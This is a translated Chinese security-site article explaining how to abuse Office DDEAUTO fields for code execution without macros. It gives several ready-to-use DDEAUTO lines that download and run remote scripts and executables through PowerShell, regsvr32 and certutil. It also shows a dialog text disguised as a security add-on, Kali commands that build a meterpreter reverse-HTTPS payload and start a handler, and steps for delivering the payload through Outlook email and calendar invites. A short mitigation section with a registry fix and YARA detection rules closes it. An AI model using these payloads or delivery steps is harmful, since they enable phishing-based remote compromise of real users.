dde
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【技术分享】Office DDE多种利用方式已公开
阅读量 72078 | 稿费 190
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-10-25 13:58:43
译文声明
本文是翻译文章,文章原作者,文章来源:willgenovese.com
原文地址:http://willgenovese.com/office-ddeauto-attacks/
译文仅供参考,具体内容表达以及含义原文为准
×
http://p2.qhimg.com/t010387ffec44c9f027.png
译者:WisFree
预估稿费:190RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
TL;DR
打开outlook客户端查看邮件及office文档时,千万要注意,不清楚的弹框不要点确认!
概述
Sensepost的安全研究专家在几天之前曾发布过一篇漏洞报告,根据该报告所描述的内容,当目标用户打开了一个经过特殊制作的Office文档时,该漏洞可以在不使用恶意宏的情况下在目标主机中触发命令执行。虽然攻击者在实现这种攻击的过程中,需要利用社会工程学技术来欺骗用户点击两到三个消息提示框中的“确认”按钮,但绝大多数的终端用户都还是非常好骗的。
研究人员发现,通过利用DDEAUTO功能所提供的参数,攻击者可以远程利用PowerShell在目标主机中下载恶意Payload。DDE是Inter-Process Communication(进程间通信-IPC)机制下的一种遗留功能,最早可以追溯到1987年,它可以与一个由其他基于Microsoft Windows程序所创建的文档建立一条动态数据交换(DDE)链接(当你更新DDE域时,DDE域会插入新的信息,链接文档将能够查看到该信息)。
SensePost的研究人员发现,除了指定一个类似Excel这样的应用程序之外,攻击者还可以将其他应用程序的任意参数当作DDE的第一个参数,并引用其他的argument作为第二个参数来使用(大小不能超过255个字节)。
虽然Sensepost的研究人员在演示该漏洞时使用的是Word,但同学们可以将这项技术用于其他的应用程序。在过去的几天时间里,Twitter上已经有人公布了很多其他的利用方法,例如通过Word、Excel以及基于富文本的Outlook电子邮件来实现代码执行。在这篇文章中,我将跟大家讨论一下我在我自己实验室里成功实现的方法。
快速和简单的测试
打开一个新的Word文档,按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将下面这段代码复制到两个大括号之间,然后保存文件:
DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"
http://p5.qhimg.com/t01d432987af69b3c15.png
此时你Word文档的界面应该如上图所示的一样。
Payload
虽然弹出calc(计算器)是比较“没意思”的,但这只是演示这种功能的实现而已,你还可以利用这种功能做到更加复杂的事情,例如在目标系统中执行恶意Payload。比如说:
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\WindowsSystem32cmd.exe /c cscript.exe index.js"
DDEAUTO c:\windows\system32\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\windows\system32\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "
除此之外,我还自己编写了一个bash脚本并使用CactusTorch来自动化地在生成vbs/hta/js文件中生成反向HTTPS meterpreter Payload,你可以将它们插入到Word文档中以进行测试。【脚本获取地址】
我通过自己的研究发现,你还可以利用社会工程学技术来对程序所弹出的消息框信息进行处理,并增加用户点击“确认”的可能性。
DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"
虽然PowerShell webdl脚本可能更加容易实现一些,但是你可能会需要让你的Payload全部保存在一个文档之中,这样你就不需要再通过网络来调用额外的恶意代码了。Dave Kennedy已经更新了他的Unicorn Python脚本,该脚本可以生成一个msfvenom meterpreter Paload并当DDEAUTO被触发的时候得到一个base64 编码/解码的Payload。近期,Dave还修复了关于消息窗的问题,感兴趣的用户可以访问他的GitHub库以获取更多信息【传送门】。
在Kali中开启终端窗口:
IP=`ip -4 addr show eth0 | grep -oP '(?<=inets)d+(.d+){3}'` git clone https://github.com/trustedsec/unicorn.git && cd unicorn python unicorn.py windows/meterpreter/reverse_https $IP 443 dde cat powershell_attack.txt | xclip -selection clipboard | leafpad powershell_attack.txt 将上面这段Payload复制到Word文档之中,保存好文档之后将其发送给你的目标用户。接下来,在一个新的终端窗口中打开你的meterpreter handler来接收shell命令。 show eth0 | grep -oP '(?<=inets)d+(.d+){3}'` msfconsole -qx "use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LHOST '$IP';set LPORT 443; set ExitOnSession false;exploit -j -z" 注:如果你需要修改你的外部IP地址,你可以更改其中的第一行代码: IP="$(dig +short myip.opendns.com @resolver1.opendns.com)" Outlook 你还可以在Outlook富文本电子邮件信息中触发这种功能,不过需要注意的是,对于Outlook 2013/2016来说,你需要在添加DDEAUTO Payload之前嵌入一个图片/表格/对象。 接下来跟之前一样,打开一个新的Word文档,然后按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将Payload拷贝到两个大括号之间,然后打开一个新的Outlook电子邮件信息。点击“格式化文本”(Format Text)标签,将消息格式修改为“富文本”(Rich Text)格式: http://p7.qhimg.com/t01ceb70b5c4243c257.png 在消息内容(body)中任意复制粘贴一张图片文件: http://p5.qhimg.com/t01d3edc766a5669847.png 从你的Word文档中复制DDEAuto Payload,将其粘贴到邮件内容(body)之中,然后输入收件人(目标用户)的邮件地址并点击发送按钮。接下来,Outlook会弹出一个DDE消息框,你只需要点击“取消”(No)即可。当你的目标用户收到这封电子邮件之后,除非他们点击了“回复”(Reply)按钮,否则将不会触发Payload的执行。如果他们点击了前两个消息框中的“确认”(Yes)按钮,则将会触发Payload的执行。 http://p7.qhimg.com/t017f21eef81054ab92.png http://p2.qhimg.com/t01d8571cc7e4d294df.png http://p8.qhimg.com/t011c8e7e457d8547be.png 日历邀请 另外一种攻击向量就是通过触发日历邀请事件来实现的,每当用户打开日历查看自己的行程安排时,就会触发Payload的执行: http://p0.qhimg.com/t016f188d68cc007061.png http://p0.qhimg.com/t01a9424b8513c5a1d7.png 缓解方案 我们本文所介绍的技术已经在doc(x/m)、dot(x/m)、rtf、Word XML、草稿信息以及oft文件上测试成功了。虽然当这些类型的文件被打开之后,负责触发并解析恶意Payload的是Microsoft Word,但微软的回应则是:这是一种专门设计的功能,他们不会对这项功能进行所谓的“漏洞修复”,除非当前有某种勒索软件或其他的木马病毒正在利用这项功能来发动攻击。 wdormann在自己的GitHub代码库中上传了一个.reg文件,有需要的用户可以下载这个.reg文件【传送门】并在注册表中禁用DDEAUTO功能,但禁用DDEAUTO功能可能会导致OneNote的某些功能出现问题。 除此之外,Nviso还设计了如下所示的YARA规则来帮助我们检测DDE: // YARA rules Office DDE // NVISO 2017/10/10 - 2017/10/12 // https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ rule Office_DDEAUTO_field { strings: $a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/ condition: $a } rule Office_DDE_field { strings: $a = /.+?b[Dd][Dd][Ee]b.+?/ condition: $a } rule Office_OLE_DDEAUTO { strings: $a = /x13s*DDEAUTOb[^x14]+/ nocase condition: uint32be(0) == 0xD0CF11E0 and $a } rule Office_OLE_DDE { strings: $a = /x13s*DDEb[^x14]+/ nocase condition: uint32be(0) == 0xD0CF11E0 and $a 本文翻译自 willgenovese.com, 原文链接 。如若转载请注明出处。 安全知识 WisFree 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 2018安恒杯11月赛-Web&Crypto题解 2018-11-26 10:02:02 U2F安全协议分析 2018-11-24 10:00:48 二十年重回首——CIH病毒源码分析 2018-11-23 15:20:19 Cookie Maker:隐藏在Google Docs中的恶意网络 2018-11-23 14:30:40 |发表评论 发表你的评论吧 昵称 网瘾患者 换一个 |评论列表 还没有评论呢,快去抢个沙发吧~ WisFree 这个人太懒了,签名都懒得写一个 文章 448 粉丝 12 TA的文章 “丝绸之路”聘请的杀手在温哥华被捕 2018-11-26 11:16:15 FBI警告银行称:网络犯罪分子正计划对全球范围内的ATM实施攻击 2018-08-16 15:54:10 DiskShadow工具介绍:VSS绕过、持久化感染和活动目录数据库提取 2018-04-02 15:00:20 Fauxpersky:凭证窃取型恶意软件分析 2018-04-02 12:00:50 如何利用导出函数和暴露的DCOM接口来实现横向渗透 2018-03-22 16:59:33 输入关键字搜索内容 相关文章 360 | 数字货币钱包APP安全威胁概况 以太坊智能合约安全入门了解一下(下) 对恶意勒索软件Samsam多个变种的深入分析 360 | 数字货币钱包安全白皮书 Json Web Token历险记 揪出底层的幽灵:深挖寄生灵Ⅱ 简单五步教你如何绕过安全狗 热门推荐 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank
文章评论